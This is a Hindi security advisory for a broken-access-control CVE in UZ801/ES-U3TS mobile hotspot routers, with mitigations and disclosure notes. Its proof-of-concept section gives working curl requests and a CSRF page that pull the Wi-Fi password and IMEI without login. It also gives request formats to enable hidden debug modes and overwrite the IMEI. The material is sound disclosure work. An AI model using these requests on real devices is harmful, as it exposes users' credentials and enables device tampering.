CVE-2026-52200

UZ801 / ES-U3TS MifiService टूटा एक्सेस नियंत्रण

MifiService.apk द्वारा उजागर किए गए एम्बेडेड वेब प्रबंधन API में टूटे एक्सेस नियंत्रण मुद्दे के लिए सुरक्षा सलाह और तकनीकी नोट्स, जो OEM / व्हाइट-लेबल UZ801_v2.1 4G LTE मोबाइल वाई-फाई प्लेटफ़ॉर्म पर पाया गया है, जिसे ES-U3TS के रूप में भी विपणन किया जाता है।

यह रिपॉजिटरी समन्वित प्रकटीकरण और CVE असाइनमेंट का समर्थन करने के लिए है। यह प्रतिलिपि योग्य, गैर-हथियारीकृत तकनीकी साक्ष्य पर केंद्रित है।

सारांश

प्रभावित डिवाइस निम्नलिखित पते पर Jetty-आधारित HTTP प्रबंधन एंडपॉइंट उजागर करता है:

http://192.168.100.1/ajax

बैकएंड अनुरोध डिस्पैचर निम्नलिखित में लागू किया गया है:

com.mifiservice.server.AjaxSevlet

हालाँकि वेब UI एक लॉगिन पृष्ठ प्रस्तुत करता है, बैकएंड अधिकांश प्रबंधन कार्यों के लिए एक मान्य प्रमाणित सर्वर-साइड सत्र लागू नहीं करता है। परिणामस्वरूप, आसन्न नेटवर्क पर एक हमलावर बिना प्रमाणीकरण के सीधे संवेदनशील funcNo ऑपरेशनों को लागू कर सकता है।

सत्यापित प्रभाव में शामिल हैं:

• वर्तमान वाई-फाई पासवर्ड का स्पष्ट पाठ में निष्कर्षण
• IMEI, फर्मवेयर जानकारी, SIM स्थिति, और नेटवर्क कॉन्फ़िगरेशन का निष्कर्षण
• DHCP और MAC फ़िल्टर कॉन्फ़िगरेशन का निष्कर्षण
• बिना प्रमाणीकरण के प्रबंधन कॉन्फ़िगरेशन का संशोधन और स्थायीकरण
• बिना प्रमाणीकरण के कॉन्फ़िगरेशन रीसेट और डिवाइस रिबूट ट्रिगर करना

स्थैतिक विश्लेषण द्वारा अतिरिक्त उच्च-जोखिम वाले कार्यों की पुष्टि की गई, जिनमें शामिल हैं:

• बूटलोडर पर रिबूट
• छिपे हुए ADB / Qualcomm Diag USB मोड सक्षम करना और रिबूट करना
• अप्रलेखित IMEI ओवरराइट कार्यक्षमता

दायरा और नामकरण

परीक्षण किया गया हार्डवेयर एक OEM / व्हाइट-लेबल डिवाइस परिवार से संबंधित प्रतीत होता है। सटीक मूल विकास विक्रेता वर्तमान में अज्ञात है, और अब तक कोई विश्वसनीय विक्रेता सुरक्षा संपर्क की पहचान नहीं की गई है।

इसलिए यह सलाह निम्नलिखित उत्पाद नामकरण का उपयोग करती है:

• प्लेटफ़ॉर्म: UZ801_v2.1
• देखा गया विपणन उपनाम: ES-U3TS
• देखा गया फर्मवेयर: UZ801-V3.4.3
• देखा गया ऐप: MifiService.apk
• देखा गया पैकेज: com.mifiservice.hello

यदि अतिरिक्त ब्रांड या पुनर्विक्रेता समान फर्मवेयर, APK, वेब संपत्तियाँ, और funcNo व्यवहार भेजते पाए जाते हैं, तो उन्हें उसी कोडबेस के संभावित प्रभावित वेरिएंट के रूप में माना जाना चाहिए।

प्रभावित घटक

• /ajax वेब API एंडपॉइंट
• MifiService.apk
• com.mifiservice.server.AjaxSevlet

मूल कारण

यह मुख्य रूप से डिफ़ॉल्ट-क्रेडेंशियल मुद्दा नहीं है।

मूल कारण बैकएंड API में टूटा एक्सेस नियंत्रण है:

• अधिकांश प्रबंधन अनुरोधों के लिए कोई प्रमाणित सर्वर-साइड सत्र लागू नहीं किया गया है
• कोई CSRF सुरक्षा मौजूद नहीं है
• कोई Origin सत्यापन मौजूद नहीं है
• कोई Referer सत्यापन मौजूद नहीं है
• अधिकांश संवेदनशील कार्यों के लिए कोई सत्र कुकी या टोकन आवश्यक नहीं है

लॉगिन फ़ंक्शन मौजूद है, लेकिन यह अधिकांश प्रबंधन API के लिए सार्थक प्राधिकरण सीमाएँ प्रदान नहीं करता है।

खतरा मॉडल

प्राथमिक हमला वेक्टर:

• डिवाइस हॉटस्पॉट से जुड़ा आसन्न नेटवर्क हमलावर

द्वितीयक हमला वेक्टर:

• ब्राउज़र-आधारित CSRF / ड्राइव-बाय शोषण जो वर्तमान में डिवाइस LAN से जुड़े पीड़ित के विरुद्ध है

यह डिफ़ॉल्ट रूप से इंटरनेट-एक्सपोज़्ड रिमोट हमला नहीं है। हमलावर को या तो:

• 192.168.100.1 तक सीधी लेयर 2 / लेयर 3 पहुँच होनी चाहिए, या
• जुड़े पीड़ित ब्राउज़र को डिवाइस एंडपॉइंट पर अनुरोध भेजने के लिए मजबूर करना चाहिए

साक्ष्य स्थिति

नीचे दिए गए सभी निष्कर्ष समान टूटे एक्सेस नियंत्रण मुद्दे की प्रभावित कार्यक्षमता के रूप में शामिल हैं।
जहाँ प्रासंगिक हो, प्रत्येक आइटम को स्पष्ट रूप से निम्नलिखित में से एक के रूप में चिह्नित किया गया है:

• लाइव सत्यापित
• स्थैतिक विश्लेषण द्वारा पुष्टि

यह अंतर सटीकता के लिए संरक्षित है। उच्च-जोखिम वाली कार्यक्षमता को लाइव-परीक्षण के रूप में गलत लेबल नहीं किया गया है जब इसे जानबूझकर सार्वजनिक हार्डवेयर पर निष्पादित नहीं किया गया था।

फ़ंक्शन समूह द्वारा तकनीकी निष्कर्ष

बिना प्रमाणीकरण के सूचना प्रकटीकरण

बिना प्रमाणीकरण के कॉन्फ़िगरेशन संशोधन

बिना प्रमाणीकरण के विघटनकारी / प्रशासनिक क्रियाएँ

अप्रलेखित या रखरखाव-शैली कार्यक्षमता

विक्रेता स्थिति

• मूल अपस्ट्रीम विक्रेता: अज्ञात
• उत्पाद प्रकार: OEM / व्हाइट-लेबल मोबाइल राउटर प्लेटफ़ॉर्म
• विश्वसनीय PSIRT / सुरक्षा संपर्क: पहचान नहीं किया गया
• वर्तमान प्रकटीकरण स्थिति: विक्रेता अप्राप्य / कोई पुष्ट विक्रेता सुरक्षा चैनल नहीं

लेखन के समय, डिवाइस असंगत या अनुपस्थित ब्रांडिंग के साथ OEM / पुनर्विक्रेता चैनलों के माध्यम से बेचा जाता प्रतीत होता है, और कोई भरोसेमंद मूल विकास विक्रेता संपर्क स्थापित नहीं किया गया है।

सुरक्षित PoC उदाहरण

नीचे दिए गए उदाहरण जानबूझकर केवल-पढ़ने या कम-प्रभाव वाले सत्यापन तक सीमित हैं। इन्हें हथियारीकृत शोषण वर्कफ़्लो प्रदान किए बिना भेद्यता प्रदर्शित करने के लिए शामिल किया गया है।

1. बिना प्रमाणीकरण के वर्तमान वाई-फाई पासवर्ड पढ़ें

curl -s \
  -H "Content-Type: application/json" \
  -d '{"funcNo":1002}' \
  http://192.168.100.1/ajax

अपेक्षित व्यवहार:

• JSON लौटाता है
• ssid शामिल है
• pwd स्पष्ट पाठ में शामिल है

2. बिना प्रमाणीकरण के डिवाइस पहचान जानकारी पढ़ें

curl -s \
  -H "Content-Type: application/json" \
  -d '{"funcNo":1029}' \
  http://192.168.100.1/ajax

अपेक्षित व्यवहार:

• JSON लौटाता है
• imei शामिल है
• fwversion शामिल है

3. कम-जोखिम वाले फ़ील्ड का उपयोग करके अनधिकृत स्थायी लेखन पहुँच प्रदर्शित करें

वर्तमान भाषा पढ़ें:

curl -s \
  -H "Content-Type: application/json" \
  -d '{"funcNo":1030}' \
  http://192.168.100.1/ajax

भाषा सेट करें:

curl -s \
  -H "Content-Type: application/json" \
  -d '{"funcNo":1031,"Language":"Chinese"}' \
  http://192.168.100.1/ajax

बाद में मूल मान पुनर्स्थापित करें।

4. ब्राउज़र-आधारित CSRF अवधारणा

यह एंडपॉइंट सत्र स्थिति या Origin / Referer सत्यापन लागू नहीं करता है। इसलिए जुड़े पीड़ित ब्राउज़र का दुरुपयोग पृष्ठभूमि अनुरोध भेजने के लिए किया जा सकता है।

न्यूनतम प्रदर्शन पृष्ठ:

<!doctype html>
<meta charset="utf-8">
<script>
fetch("http://192.168.100.1/ajax", {
  method: "POST",
  headers: {"Content-Type": "application/json"},
  body: JSON.stringify({funcNo: 1002})
});
</script>

यह उदाहरण जानबूझकर केवल-पढ़ने वाले फ़ंक्शन नंबर तक सीमित है। इसे उपयोगकर्ताओं या उत्पादन डिवाइसों के विरुद्ध तैनात न करें।

गैर-सार्वजनिक / उच्च-जोखिम अनुरोध प्रारूप

निम्नलिखित JSON प्रारूप केवल रक्षात्मक विश्लेषण और ट्राइएज के लिए प्रलेखित हैं। इनके साथ यहाँ निष्पादन चरण शामिल नहीं हैं।

2001 - छिपे डिबग इंटरफ़ेस सक्षम करें

{"funcNo":2001}

कोड में देखा गया व्यवहार:

• setprop persist.sys.usb.config rndis,serial_smd,diag,adb निष्पादित करता है
• sync निष्पादित करता है
• डिवाइस रिबूट करता है

2004 - IMEI ओवरराइट पथ

{"funcNo":2004,"imei":"<redacted-test-value>"}

कोड में देखा गया व्यवहार:

• AT+WRIMEI=<value> के समतुल्य पथ कॉल करता है
• अनुवर्ती IMEI रीडबैक पथ के माध्यम से सफलता की जाँच करता है

कानूनी, अनुपालन, और डिवाइस-अखंडता चिंताओं के कारण यहाँ कोई सार्वजनिक लाइव परीक्षण शामिल नहीं है।

साक्ष्य अंश

1002 के लिए उदाहरण बिना प्रमाणीकरण प्रतिक्रिया

{
  "results": [
    {
      "dns1": "8.8.8.8",
      "ssid": "4G-UFI-8E1",
      "dns2": "8.8.8.8",
      "mask": "255.255.255.0",
      "pwd": "1234567890",
      "wlan_ip": "192.168.100.1",
      "IP": "192.168.100.1"
    }
  ],
  "error_info": "none",
  "flag": "1"
}

1029 के लिए उदाहरण बिना प्रमाणीकरण प्रतिक्रिया

{
  "results": [
    {
      "manufacture": "Qualcomm Technology",
      "dbm": "",
      "fwversion": "V3.4.3",
      "imei": "863993064154463"
    }
  ],
  "error_info": "none",
  "flag": "1"
}

यह CVE उम्मीदवार क्यों है

यह मुद्दा एक मजबूत CVE उम्मीदवार है क्योंकि यह:

• ग्राहक-नियंत्रित डिवाइस पर प्रतिलिपि योग्य है
• आसन्न-नेटवर्क हमलावर द्वारा पहुँच योग्य है
• अप्रलेखित भौतिक संशोधन पर निर्भर नहीं है
• केवल डिफ़ॉल्ट-पासवर्ड मुद्दा नहीं है
• गोपनीयता, अखंडता, और उपलब्धता पर प्रभावशाली है

सुझाया गया वर्गीकरण:

• CWE-306 महत्वपूर्ण फ़ंक्शन के लिए लापता प्रमाणीकरण
• CWE-862 लापता प्राधिकरण

सुझाया गया CVSS:

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

प्रकटीकरण स्थिति

• स्थैतिक विश्लेषण पूर्ण: 2026-05-11
• लाइव सत्यापन पूर्ण: 2026-05-12
• विक्रेता संपर्क तैयारी पूर्ण: 2026-05-12
• सार्वजनिक सलाह मसौदा तैयार: 2026-05-12

शमन उपाय

• सभी प्रबंधन कार्यों के लिए एक मान्य सर्वर-साइड प्रमाणित सत्र आवश्यक करें
• बिना प्रमाणीकरण के सभी संवेदनशील funcNo अनुरोधों को अस्वीकार करें
• CSRF सुरक्षा जोड़ें
• Origin और Referer सत्यापित करें
• उत्पादन बिल्ड से अप्रलेखित रखरखाव एंडपॉइंट हटाएँ
• बिना प्रमाणीकरण API प्रतिक्रियाओं के माध्यम से वाई-फाई क्रेडेंशियल कभी उजागर न करें

कानूनी और सुरक्षा सूचना

यह रिपॉजिटरी रक्षात्मक अनुसंधान, भेद्यता प्रकटीकरण, और समन्वय के लिए है। सार्वजनिक उदाहरण जानबूझकर कम-जोखिम सत्यापन तक सीमित हैं। उच्च-जोखिम कार्यक्षमता केवल उपचार और CVE ट्राइएज के लिए आवश्यक सीमा तक प्रलेखित है।